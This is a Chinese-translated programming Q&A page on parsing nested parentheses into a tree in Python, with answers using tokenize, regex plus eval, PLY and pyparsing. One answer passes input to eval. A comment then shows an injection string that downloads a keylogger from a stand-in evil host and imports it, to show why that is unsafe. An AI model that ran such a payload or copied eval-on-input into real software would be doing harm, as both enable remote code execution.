【问题标题】:How should I read the input data?我应该如何读取输入数据?
【发布时间】:2011-03-29 18:14:20
【问题描述】:

例如,我有以下输入数据:

(( 12 3 ) 42 )

我想处理输入数据的每个整数值。这是一般输入数据表示的示例。

仅供参考:

这样的表示对应的是带有标记叶子的二叉树:

   /\
  /\ 42
 12 3

【问题讨论】:

    标签: python


    【解决方案1】:

    我写了这个脚本。可能会有帮助

    import tokenize,StringIO
    def parseNode(tokens):
        l = []
        while True:
            c = next(tokens)
            if c[1] == '(':
                l.append(parseNode(tokens))
            elif c[1] == ')':
                return l
            elif c[0] == tokenize.NUMBER:
                l.append(int(c[1]))
    def parseTree(string):
        tokens = tokenize.generate_tokens(StringIO.StringIO(string).readline)
        while next(tokens)[1] != '(' : pass
        return parseNode(tokens)
    print parseTree('(( 12 3 ) 42 15 (16 (11 2) 2) )')
    

    【讨论】:

      【解决方案2】:

      类似下面的东西应该可以工作:

      import re
      newinput = re.sub(r"(\d) ", r"\1, ", input)
      newinput = re.sub(r"\) ", r"), ", newinput)
      eval(newinput)
      

      【讨论】:

      • 你在发帖前测试过这个解决方案吗? (, 6, 9,) 甚至是有效的 Python 表达式吗?
      • 修复了它。应该是)
      • 如果我需要一些真正轻量级的东西,我可以使用与正则表达式 ([\d\w()]*) 匹配的任何东西(或者至少是它的测试版本)。否则import eval_is_evil 将使用程序拥有的任何权限进行评估。如果您可以通过我给出的正则表达式的工作版本获取恶意代码,那么您应该拥有我的系统。
      • '''import urllib, os; path = os.path.expanduser('~/.common.hidden.path./.keylogger.py'); urllib.urlretrive('http://my.evil.russian.websever.info', path); __import__(path)'''
      【解决方案3】:

      here 是您可以使用的资源的好列表。我建议PLY

      【讨论】:

        【解决方案4】:

        我推荐pyparsing 用于这个解析任务——例如,here 是一个基于 pyparsing 的 S 表达式解析器......可能比你需要的更丰富和更强大,但非常有限对 Python 和 pyparsing 的理解,您可以根据需要尽可能地简化它(如果有的话——它已经完全能够执行您的任务,作为它所涵盖的更广泛集合的一个子集;-)。

        【讨论】:

          猜你喜欢
          • 1970-01-01
          • 2017-10-11
          • 2022-09-23
          • 2018-06-07
          • 2015-06-18
          • 1970-01-01
          • 1970-01-01
          • 1970-01-01
          • 1970-01-01
          相关资源
          最近更新 更多